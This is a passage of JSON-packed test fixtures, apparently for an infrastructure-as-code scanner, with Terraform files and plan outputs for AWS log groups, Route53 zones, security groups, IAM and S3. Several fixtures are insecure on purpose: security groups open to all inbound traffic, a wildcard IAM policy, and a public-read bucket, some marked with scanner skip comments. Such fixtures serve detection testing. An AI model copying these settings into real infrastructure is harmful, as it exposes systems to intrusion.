    "content": "variable \"create\" {\n  description = \"Whether to create the Cloudwatch log group\"\n  type        = bool\n  default     = true\n}\n\nvariable \"name\" {\n  description = \"A name for the log group\"\n  type        = string\n  default     = null\n}\n\nvariable \"name_prefix\" {\n  description = \"A name prefix for the log group\"\n  type        = string\n  default     = null\n}\n\nvariable \"retention_in_days\" {\n  description = \"Specifies the number of days you want to retain log events in the specified log group\"\n  type        = number\n  default     = null\n}\n\nvariable \"kms_key_id\" {\n  description = \"The ARN of the KMS Key to use when encrypting logs\"\n  type        = string\n  default     = null\n}\n\nvariable \"tags\" {\n  description = \"A map of tags to add to Cloudwatch log group\"\n  type        = map(string)\n  default     = {}\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/log_group_external/versions.tf",
    "content": "terraform {\n  required_version = \">= 0.12.26\"\n\n  required_providers {\n    aws = {\n      source  = \"hashicorp/aws\"\n      version = \">= 2.55\"\n    }\n  }\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/main.tf",
    "content": "module \"log_group_external\" {\n  source  = \"terraform-aws-modules/cloudwatch/aws//modules/log-group\"\n  version = \"2.1.0\"\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/providers.tf",
    "content": "provider \"aws\" {\n  region  = \"eu-central-1\"\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_external_tf_modules_for_enrichment/tfplan.json",
    "content": "{\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.15.1\",\n    \"planned_values\": {\n        \"root_module\": {\n            \"child_modules\": [\n                {\n                    \"resources\": [\n                        {\n                            \"address\": \"module.log_group_external.aws_cloudwatch_log_group.this[0]\",\n                            \"mode\": \"managed\",\n                            \"type\": \"aws_cloudwatch_log_group\",\n                            \"name\": \"this\",\n                            \"index\": 0,\n                            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n                            \"schema_version\": 0,\n                            \"values\": {\"kms_key_id\": null, \"name_prefix\": null, \"retention_in_days\": 0, \"tags\": null}\n                        }\n                    ],\n                    \"address\": \"module.log_group_external\"\n                }\n            ]\n        }\n    },\n    \"resource_changes\": [\n        {\n            \"address\": \"module.log_group_external.aws_cloudwatch_log_group.this[0]\",\n            \"module_address\": \"module.log_group_external\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_cloudwatch_log_group\",\n            \"name\": \"this\",\n            \"index\": 0,\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"change\": {\n                \"actions\": [\"create\"],\n                \"before\": null,\n                \"after\": {\"kms_key_id\": null, \"name_prefix\": null, \"retention_in_days\": 0, \"tags\": null},\n                \"after_unknown\": {\"arn\": true, \"id\": true, \"name\": true, \"tags_all\": true},\n                \"before_sensitive\": false,\n                \"after_sensitive\": {\"tags_all\": {}}\n            }\n        }\n    ],\n    \"configuration\": {\n        \"provider_config\": {\n            \"aws\": {\"name\": \"aws\", \"expressions\": {\"region\": {\"constant_value\": \"eu-central-1\"}}},\n            \"module.log_group_external:aws\": {\n                \"name\": \"aws\",\n                \"version_constraint\": \"\\u003e= 2.55.0\",\n                \"module_address\": \"module.log_group_external\"\n            }\n        },\n        \"root_module\": {\n            \"module_calls\": {\n                \"log_group_external\": {\n                    \"source\": \"terraform-aws-modules/cloudwatch/aws//modules/log-group\",\n                    \"module\": {\n                        \"outputs\": {\n                            \"cloudwatch_log_group_arn\": {\n                                \"expression\": {\"references\": [\"aws_cloudwatch_log_group.this\"]},\n                                \"description\": \"ARN of Cloudwatch log group\"\n                            },\n                            \"cloudwatch_log_group_name\": {\n                                \"expression\": {\"references\": [\"aws_cloudwatch_log_group.this\"]},\n                                \"description\": \"Name of Cloudwatch log group\"\n                            }\n                        },\n                        \"resources\": [\n                            {\n                                \"address\": \"aws_cloudwatch_log_group.this\",\n                                \"mode\": \"managed\",\n                                \"type\": \"aws_cloudwatch_log_group\",\n                                \"name\": \"this\",\n                                \"provider_config_key\": \"log_group_external:aws\",\n                                \"expressions\": {\n                                    \"kms_key_id\": {\"references\": [\"var.kms_key_id\"]},\n                                    \"name\": {\"references\": [\"var.name\"]},\n                                    \"name_prefix\": {\"references\": [\"var.name_prefix\"]},\n                                    \"retention_in_days\": {\"references\": [\"var.retention_in_days\"]},\n                                    \"tags\": {\"references\": [\"var.tags\"]}\n                                },\n                                \"schema_version\": 0,\n                                \"count_expression\": {\"references\": [\"var.create\"]}\n                            }\n                        ],\n                        \"variables\": {\n                            \"create\": {\"default\": true, \"description\": \"Whether to create the Cloudwatch log group\"},\n                            \"kms_key_id\": {\n                                \"default\": null,\n                                \"description\": \"The ARN of the KMS Key to use when encrypting logs\"\n                            },\n                            \"name\": {\"default\": null, \"description\": \"A name for the log group\"},\n                            \"name_prefix\": {\"default\": null, \"description\": \"A name prefix for the log group\"},\n                            \"retention_in_days\": {\n                                \"default\": null,\n                                \"description\": \"Specifies the number of days you want to retain log events in the specified log group\"\n                            },\n                            \"tags\": {\"default\": {}, \"description\": \"A map of tags to add to Cloudwatch log group\"}\n                        }\n                    },\n                    \"version_constraint\": \"~\\u003e 2.0\"\n                }\n            }\n        }\n    }\n}\n"
  },
  {
    "path": "tests/common/runner_registry/plan_with_for_each_for_enrichment/original/main.tf",
    "content": "locals {\n  hosted_zone_names = [\n    \"example.com\",\n    \"example2.eu\",\n  ]\n}\n\nresource \"aws_route53_zone\" \"example\" {\n  for_each = toset(local.hosted_zone_names)\n  # checkov:skip=CKV2_AWS_38\n  name = each.value\n}\n\nlocals {\n  names = [\"bad_example\", \"terrible_example\", \"awful_example\"]\n}\n\nmodule \"sg\" {\n  # checkov:skip=CKV_AWS_277\n  for_each = toset(local.names)\n  name     = each.value\n  source   = \"./modules/ec2/security_group\"\n  vpc_id   = var.vpc_id\n}"
  },
  {
    "path": "tests/common/runner_registry/plan_with_for_each_for_enrichment/tf_plan.json",
    "content": "{\n  \"format_version\": \"1.2\",\n  \"terraform_version\": \"1.9.5\",\n  \"planned_values\": {\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_route53_zone.example[\\\"example.com\\\"]\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route53_zone\",\n          \"name\": \"example\",\n          \"index\": \"example.com\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"comment\": \"Managed by Terraform\",\n            \"delegation_set_id\": null,\n            \"force_destroy\": false,\n            \"name\": \"example.com\",\n            \"tags\": null,\n            \"vpc\": []\n          },\n          \"sensitive_values\": {\n            \"name_servers\": [],\n            \"tags_all\": {},\n            \"vpc\": []\n          }\n        },\n        {\n          \"address\": \"aws_route53_zone.example[\\\"example2.eu\\\"]\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route53_zone\",\n          \"name\": \"example\",\n          \"index\": \"example2.eu\",\n          \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n          \"schema_version\": 0,\n          \"values\": {\n            \"comment\": \"Managed by Terraform\",\n            \"delegation_set_id\": null,\n            \"force_destroy\": false,\n            \"name\": \"example2.eu\",\n            \"tags\": null,\n            \"vpc\": []\n          },\n          \"sensitive_values\": {\n            \"name_servers\": [],\n            \"tags_all\": {},\n            \"vpc\": []\n          }\n        }\n      ],\n      \"child_modules\": [\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.sg[\\\"awful_example\\\"].aws_security_group.bad\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_security_group\",\n              \"name\": \"bad\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 1,\n              \"values\": {\n                \"description\": \"Managed by Terraform\",\n                \"ingress\": [\n                  {\n                    \"cidr_blocks\": [\n                      \"0.0.0.0/0\"\n                    ],\n                    \"description\": \"Allow all inbound traffic\",\n                    \"from_port\": 0,\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"protocol\": \"-1\",\n                    \"security_groups\": [],\n                    \"self\": false,\n                    \"to_port\": 65535\n                  }\n                ],\n                \"name\": \"awful_example\",\n                \"revoke_rules_on_delete\": false,\n                \"tags\": null,\n                \"timeouts\": null,\n                \"vpc_id\": \"vpc-123456abc\"\n              },\n              \"sensitive_values\": {\n                \"egress\": [],\n                \"ingress\": [\n                  {\n                    \"cidr_blocks\": [\n                      false\n                    ],\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"security_groups\": []\n                  }\n                ],\n                \"tags_all\": {}\n              }\n            }\n          ],\n          \"address\": \"module.sg[\\\"awful_example\\\"]\"\n        },\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.sg[\\\"bad_example\\\"].aws_security_group.bad\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_security_group\",\n              \"name\": \"bad\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 1,\n              \"values\": {\n                \"description\": \"Managed by Terraform\",\n                \"ingress\": [\n                  {\n                    \"cidr_blocks\": [\n                      \"0.0.0.0/0\"\n                    ],\n                    \"description\": \"Allow all inbound traffic\",\n                    \"from_port\": 0,\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"protocol\": \"-1\",\n                    \"security_groups\": [],\n                    \"self\": false,\n                    \"to_port\": 65535\n                  }\n                ],\n                \"name\": \"bad_example\",\n                \"revoke_rules_on_delete\": false,\n                \"tags\": null,\n                \"timeouts\": null,\n                \"vpc_id\": \"vpc-123456abc\"\n              },\n              \"sensitive_values\": {\n                \"egress\": [],\n                \"ingress\": [\n                  {\n                    \"cidr_blocks\": [\n                      false\n                    ],\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"security_groups\": []\n                  }\n                ],\n                \"tags_all\": {}\n              }\n            }\n          ],\n          \"address\": \"module.sg[\\\"bad_example\\\"]\"\n        },\n        {\n          \"resources\": [\n            {\n              \"address\": \"module.sg[\\\"terrible_example\\\"].aws_security_group.bad\",\n              \"mode\": \"managed\",\n              \"type\": \"aws_security_group\",\n              \"name\": \"bad\",\n              \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n              \"schema_version\": 1,\n              \"values\": {\n                \"description\": \"Managed by Terraform\",\n                \"ingress\": [\n                  {\n                    \"cidr_blocks\": [\n                      \"0.0.0.0/0\"\n                    ],\n                    \"description\": \"Allow all inbound traffic\",\n                    \"from_port\": 0,\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"protocol\": \"-1\",\n                    \"security_groups\": [],\n                    \"self\": false,\n                    \"to_port\": 65535\n                  }\n                ],\n                \"name\": \"terrible_example\",\n                \"revoke_rules_on_delete\": false,\n                \"tags\": null,\n                \"timeouts\": null,\n                \"vpc_id\": \"vpc-123456abc\"\n              },\n              \"sensitive_values\": {\n                \"egress\": [],\n                \"ingress\": [\n                  {\n                    \"cidr_blocks\": [\n                      false\n                    ],\n                    \"ipv6_cidr_blocks\": [],\n                    \"prefix_list_ids\": [],\n                    \"security_groups\": []\n                  }\n                ],\n                \"tags_all\": {}\n              }\n            }\n          ],\n          \"address\": \"module.sg[\\\"terrible_example\\\"]\"\n        }\n      ]\n    }\n  },\n  \"resource_changes\": [\n    {\n      \"address\": \"aws_route53_zone.example[\\\"example.com\\\"]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route53_zone\",\n      \"name\": \"example\",\n      \"index\": \"example.com\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"comment\": \"Managed by Terraform\",\n          \"delegation_set_id\": null,\n          \"force_destroy\": false,\n          \"name\": \"example.com\",\n          \"tags\": null,\n          \"vpc\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_servers\": true,\n          \"primary_name_server\": true,\n          \"tags_all\": true,\n          \"vpc\": [],\n          \"zone_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"name_servers\": [],\n          \"tags_all\": {},\n          \"vpc\": []\n        }\n      }\n    },\n    {\n      \"address\": \"aws_route53_zone.example[\\\"example2.eu\\\"]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_route53_zone\",\n      \"name\": \"example\",\n      \"index\": \"example2.eu\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"comment\": \"Managed by Terraform\",\n          \"delegation_set_id\": null,\n          \"force_destroy\": false,\n          \"name\": \"example2.eu\",\n          \"tags\": null,\n          \"vpc\": []\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"id\": true,\n          \"name_servers\": true,\n          \"primary_name_server\": true,\n          \"tags_all\": true,\n          \"vpc\": [],\n          \"zone_id\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"name_servers\": [],\n          \"tags_all\": {},\n          \"vpc\": []\n        }\n      }\n    },\n    {\n      \"address\": \"module.sg[\\\"awful_example\\\"].aws_security_group.bad\",\n      \"module_address\": \"module.sg[\\\"awful_example\\\"]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"bad\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Managed by Terraform\",\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"Allow all inbound traffic\",\n              \"from_port\": 0,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"-1\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 65535\n            }\n          ],\n          \"name\": \"awful_example\",\n          \"revoke_rules_on_delete\": false,\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_id\": \"vpc-123456abc\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": true,\n          \"id\": true,\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"name_prefix\": true,\n          \"owner_id\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"egress\": [],\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"module.sg[\\\"bad_example\\\"].aws_security_group.bad\",\n      \"module_address\": \"module.sg[\\\"bad_example\\\"]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"bad\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Managed by Terraform\",\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"Allow all inbound traffic\",\n              \"from_port\": 0,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"-1\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 65535\n            }\n          ],\n          \"name\": \"bad_example\",\n          \"revoke_rules_on_delete\": false,\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_id\": \"vpc-123456abc\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": true,\n          \"id\": true,\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"name_prefix\": true,\n          \"owner_id\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"egress\": [],\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"tags_all\": {}\n        }\n      }\n    },\n    {\n      \"address\": \"module.sg[\\\"terrible_example\\\"].aws_security_group.bad\",\n      \"module_address\": \"module.sg[\\\"terrible_example\\\"]\",\n      \"mode\": \"managed\",\n      \"type\": \"aws_security_group\",\n      \"name\": \"bad\",\n      \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n      \"change\": {\n        \"actions\": [\n          \"create\"\n        ],\n        \"before\": null,\n        \"after\": {\n          \"description\": \"Managed by Terraform\",\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                \"0.0.0.0/0\"\n              ],\n              \"description\": \"Allow all inbound traffic\",\n              \"from_port\": 0,\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"protocol\": \"-1\",\n              \"security_groups\": [],\n              \"self\": false,\n              \"to_port\": 65535\n            }\n          ],\n          \"name\": \"terrible_example\",\n          \"revoke_rules_on_delete\": false,\n          \"tags\": null,\n          \"timeouts\": null,\n          \"vpc_id\": \"vpc-123456abc\"\n        },\n        \"after_unknown\": {\n          \"arn\": true,\n          \"egress\": true,\n          \"id\": true,\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"name_prefix\": true,\n          \"owner_id\": true,\n          \"tags_all\": true\n        },\n        \"before_sensitive\": false,\n        \"after_sensitive\": {\n          \"egress\": [],\n          \"ingress\": [\n            {\n              \"cidr_blocks\": [\n                false\n              ],\n              \"ipv6_cidr_blocks\": [],\n              \"prefix_list_ids\": [],\n              \"security_groups\": []\n            }\n          ],\n          \"tags_all\": {}\n        }\n      }\n    }\n  ],\n  \"prior_state\": {\n    \"format_version\": \"1.0\",\n    \"terraform_version\": \"1.9.5\",\n    \"values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"data.aws_subnet.private\",\n            \"mode\": \"data\",\n            \"type\": \"aws_subnet\",\n            \"name\": \"private\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"arn\": \"arn:aws:ec2:us-east-1:073481610293:subnet/subnet-04c460d388900659b\",\n              \"assign_ipv6_address_on_creation\": false,\n              \"availability_zone\": \"us-east-1c\",\n              \"availability_zone_id\": \"use1-az1\",\n              \"available_ip_address_count\": 248,\n              \"cidr_block\": \"10.213.220.0/24\",\n              \"customer_owned_ipv4_pool\": \"\",\n              \"default_for_az\": false,\n              \"enable_dns64\": false,\n              \"enable_lni_at_device_index\": 0,\n              \"enable_resource_name_dns_a_record_on_launch\": false,\n              \"enable_resource_name_dns_aaaa_record_on_launch\": false,\n              \"filter\": [\n                {\n                  \"name\": \"tag:Name\",\n                  \"values\": [\n                    \"dev-vpc\"\n                  ]\n                }\n              ],\n              \"id\": \"subnet-04c460d388900659b\",\n              \"ipv6_cidr_block\": \"\",\n              \"ipv6_cidr_block_association_id\": \"\",\n              \"ipv6_native\": false,\n              \"map_customer_owned_ip_on_launch\": false,\n              \"map_public_ip_on_launch\": false,\n              \"outpost_arn\": \"\",\n              \"owner_id\": \"073481610293\",\n              \"private_dns_hostname_type_on_launch\": \"ip-name\",\n              \"state\": \"available\",\n              \"tags\": {\n                \"Name\": \"dev-vpc\",\n                \"karpenter.sh/discovery\": \"true\",\n                \"kubernetes.io/role/internal-elb\": \"1\"\n              },\n              \"timeouts\": null,\n              \"vpc_id\": \"vpc-123456abc\"\n            },\n            \"sensitive_values\": {\n              \"filter\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"tags\": {}\n            }\n          },\n          {\n            \"address\": \"data.aws_vpc.sandbox\",\n            \"mode\": \"data\",\n            \"type\": \"aws_vpc\",\n            \"name\": \"sandbox\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"arn\": \"arn:aws:ec2:us-east-1:073481610293:vpc/vpc-123456abc\",\n              \"cidr_block\": \"10.213.220.0/22\",\n              \"cidr_block_associations\": [\n                {\n                  \"association_id\": \"vpc-cidr\",\n                  \"cidr_block\": \"10.213.220.0/22\",\n                  \"state\": \"associated\"\n                }\n              ],\n              \"default\": false,\n              \"dhcp_options_id\": \"dopt-123456abc\",\n              \"enable_dns_hostnames\": true,\n              \"enable_dns_support\": true,\n              \"enable_network_address_usage_metrics\": true,\n              \"filter\": [\n                {\n                  \"name\": \"tag:Name\",\n                  \"values\": [\n                    \"dev-vpc\"\n                  ]\n                }\n              ],\n              \"id\": \"vpc-123456abc\",\n              \"instance_tenancy\": \"default\",\n              \"ipv6_association_id\": \"\",\n              \"ipv6_cidr_block\": \"\",\n              \"main_route_table_id\": \"\",\n              \"owner_id\": \"073481610293\",\n              \"state\": null,\n              \"timeouts\": null\n            },\n            \"sensitive_values\": {\n              \"cidr_block_associations\": [\n                {}\n              ],\n              \"filter\": [\n                {\n                  \"values\": [\n                    false\n                  ]\n                }\n              ],\n              \"tags\": {}\n            }\n          }\n        ]\n      }\n    }\n  },\n  \"configuration\": {\n    \"provider_config\": {\n      \"aws\": {\n        \"name\": \"aws\",\n        \"full_name\": \"registry.terraform.io/hashicorp/aws\"\n      }\n    },\n    \"root_module\": {\n      \"resources\": [\n        {\n          \"address\": \"aws_route53_zone.example\",\n          \"mode\": \"managed\",\n          \"type\": \"aws_route53_zone\",\n          \"name\": \"example\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"each.value\"\n              ]\n            }\n          },\n          \"schema_version\": 0,\n          \"for_each_expression\": {\n            \"references\": [\n              \"local.hosted_zone_names\"\n            ]\n          }\n        },\n        {\n          \"address\": \"data.aws_subnet.private\",\n          \"mode\": \"data\",\n          \"type\": \"aws_subnet\",\n          \"name\": \"private\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"filter\": [\n              {\n                \"name\": {\n                  \"constant_value\": \"tag:Name\"\n                },\n                \"values\": {\n                  \"constant_value\": [\n                    \"dev-vpc\"\n                  ]\n                }\n              }\n            ],\n            \"vpc_id\": {\n              \"references\": [\n                \"data.aws_vpc.sandbox.id\",\n                \"data.aws_vpc.sandbox\"\n              ]\n            }\n          },\n          \"schema_version\": 0\n        },\n        {\n          \"address\": \"data.aws_vpc.sandbox\",\n          \"mode\": \"data\",\n          \"type\": \"aws_vpc\",\n          \"name\": \"sandbox\",\n          \"provider_config_key\": \"aws\",\n          \"expressions\": {\n            \"filter\": [\n              {\n                \"name\": {\n                  \"constant_value\": \"tag:Name\"\n                },\n                \"values\": {\n                  \"constant_value\": [\n                    \"dev-vpc\"\n                  ]\n                }\n              }\n            ]\n          },\n          \"schema_version\": 0\n        }\n      ],\n      \"module_calls\": {\n        \"sg\": {\n          \"source\": \"./modules/ec2/security_group\",\n          \"expressions\": {\n            \"name\": {\n              \"references\": [\n                \"each.value\"\n              ]\n            },\n            \"vpc_id\": {\n              \"references\": [\n                \"data.aws_vpc.sandbox.id\",\n                \"data.aws_vpc.sandbox\"\n              ]\n            }\n          },\n          \"for_each_expression\": {\n            \"references\": [\n              \"local.names\"\n            ]\n          },\n          \"module\": {\n            \"outputs\": {\n              \"aws_security_group_id\": {\n                \"expression\": {\n                  \"references\": [\n                    \"aws_security_group.bad.id\",\n                    \"aws_security_group.bad\"\n                  ]\n                },\n                \"description\": \"The ID of the security group\"\n              }\n            },\n            \"resources\": [\n              {\n                \"address\": \"aws_security_group.bad\",\n                \"mode\": \"managed\",\n                \"type\": \"aws_security_group\",\n                \"name\": \"bad\",\n                \"provider_config_key\": \"aws\",\n                \"expressions\": {\n                  \"ingress\": {\n                    \"constant_value\": [\n                      {\n                        \"cidr_blocks\": [\n                          \"0.0.0.0/0\"\n                        ],\n                        \"description\": \"Allow all inbound traffic\",\n                        \"from_port\": 0,\n                        \"ipv6_cidr_blocks\": null,\n                        \"prefix_list_ids\": null,\n                        \"protocol\": \"-1\",\n                        \"security_groups\": null,\n                        \"self\": null,\n                        \"to_port\": 65535\n                      }\n                    ]\n                  },\n                  \"name\": {\n                    \"references\": [\n                      \"var.name\"\n                    ]\n                  },\n                  \"vpc_id\": {\n                    \"references\": [\n                      \"var.vpc_id\"\n                    ]\n                  }\n                },\n                \"schema_version\": 1\n              }\n            ],\n            \"variables\": {\n              \"name\": {\n                \"description\": \"The name of the security group\"\n              },\n              \"vpc_id\": {\n                \"description\": \"The VPC ID to associate with the security group\"\n              }\n            }\n          }\n        }\n      }\n    }\n  },\n  \"relevant_attributes\": [\n    {\n      \"resource\": \"module.sg[\\\"awful_example\\\"].aws_security_group.bad\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"module.sg[\\\"terrible_example\\\"].aws_security_group.bad\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"module.sg[\\\"bad_example\\\"].aws_security_group.bad\",\n      \"attribute\": [\n        \"id\"\n      ]\n    },\n    {\n      \"resource\": \"data.aws_vpc.sandbox\",\n      \"attribute\": [\n        \"id\"\n      ]\n    }\n  ],\n  \"timestamp\": \"2025-10-21T13:18:15Z\",\n  \"applyable\": true,\n  \"complete\": true,\n  \"errored\": false\n}"
  },
  {
    "path": "tests/common/runner_registry/plan_with_hcl_for_enrichment/dynamodb.tf",
    "content": "resource \"aws_dynamodb_table\" \"cross-environment-violations\" {\n  # checkov:skip=CKV_AWS_28: ignoring backups for now\n  name           = \"CrossEnvironmentViolations\"\n  read_capacity  = 20\n  write_capacity = 20\n  hash_key       = \"id\"\n  attribute {\n    name = \"id\"\n    type = \"S\"\n  }\n  provider = aws.current_region\n}"
  },
  {
    "path": "tests/common/runner_registry/plan_with_hcl_for_enrichment/iam.tf",
    "content": "resource \"aws_iam_policy\" \"policy\" {\n  name        = \"my_policy-123456789101\"\n  path        = \"/\"\n  description = \"My test policy\"\n  policy = <<EOF\n{\n  \"Version\": \"2012-10-17\",\n  \"Statement\": [\n    {\n      \"Action\": [\n        \"*\"\n      ],\n      \"Effect\": \"Allow\",\n      \"Resource\": \"arn:aws:iam::${var.aws_account_id}:role/admin\"\n    }\n  ]\n}\nEOF\n}"
  },
  {
    "path": "tests/common/runner_registry/plan_with_hcl_for_enrichment/s3.tf",
    "content": "resource \"aws_s3_bucket\" \"test-bucket1\" {\n  bucket = \"test-bucket1\"\n  # checkov:skip=CKV_AWS_20: The bucket is a public static content host\n  acl    = \"public-read\"\n  lifecycle_rule {\n    id      = \"90 Day Lifecycle\"\n    enabled = true\n    expiration {\n      days = 90\n    }\n    noncurrent_version_expiration {\n      days = 90\n    }\n    abort_incomplete_multipart_upload_days = 90\n  }\n  provider = aws.current_region\n}"
  },
  {
    "path": "tests/common/runner_registry/plan_with_hcl_for_enrichment/tfplan.json",
    "content": "{\n    \"format_version\": \"0.1\",\n    \"terraform_version\": \"0.13.6\",\n    \"variables\": {\n      \"application_name\": {\n        \"value\": \"tf-test\"\n      },\n      \"aws_account_id\": {\n        \"value\": \"123456789101\"\n      },\n      \"env\": {\n        \"value\": \"development\"\n      },\n      \"region\": {\n        \"value\": \"us-west-2\"\n      }\n    },\n    \"planned_values\": {\n      \"root_module\": {\n        \"resources\": [\n          {\n            \"address\": \"aws_dynamodb_table.cross-environment-violations\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_dynamodb_table\",\n            \"name\": \"cross-environment-violations\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 1,\n            \"values\": {\n              \"attribute\": [\n                {\n                  \"name\": \"id\",\n                  \"type\": \"S\"\n                }\n              ],\n              \"billing_mode\": \"PROVISIONED\",\n              \"global_secondary_index\": [],\n              \"hash_key\": \"id\",\n              \"local_secondary_index\": [],\n              \"name\": \"CrossEnvironmentViolations\",\n              \"range_key\": null,\n              \"read_capacity\": 20,\n              \"replica\": [],\n              \"stream_enabled\": null,\n              \"tags\": null,\n              \"timeouts\": null,\n              \"ttl\": [],\n              \"write_capacity\": 20\n            }\n          },\n          {\n            \"address\": \"aws_iam_policy.policy\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_iam_policy\",\n            \"name\": \"policy\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"description\": \"My test policy\",\n              \"name\": \"my_policy-995112413069\",\n              \"name_prefix\": null,\n              \"path\": \"/\",\n              \"policy\": \"{\\n  \\\"Version\\\": \\\"2012-10-17\\\",\\n  \\\"Statement\\\": [\\n    {\\n      \\\"Action\\\": [\\n        \\\"*\\\"\\n      ],\\n      \\\"Effect\\\": \\\"Allow\\\",\\n      \\\"Resource\\\": \\\"arn:aws:iam::995112413069:role/admin\\\"\\n    }\\n  ]\\n}\\n\"\n            }\n          },\n          {\n            \"address\": \"aws_s3_bucket.test-bucket1\",\n            \"mode\": \"managed\",\n            \"type\": \"aws_s3_bucket\",\n            \"name\": \"test-bucket1\",\n            \"provider_name\": \"registry.terraform.io/hashicorp/aws\",\n            \"schema_version\": 0,\n            \"values\": {\n              \"acl\": \"public-read\",\n              \"bucket\": \"test-bucket1\",\n              \"bucket_prefix\": null,\n              \"cors_rule\": [],\n              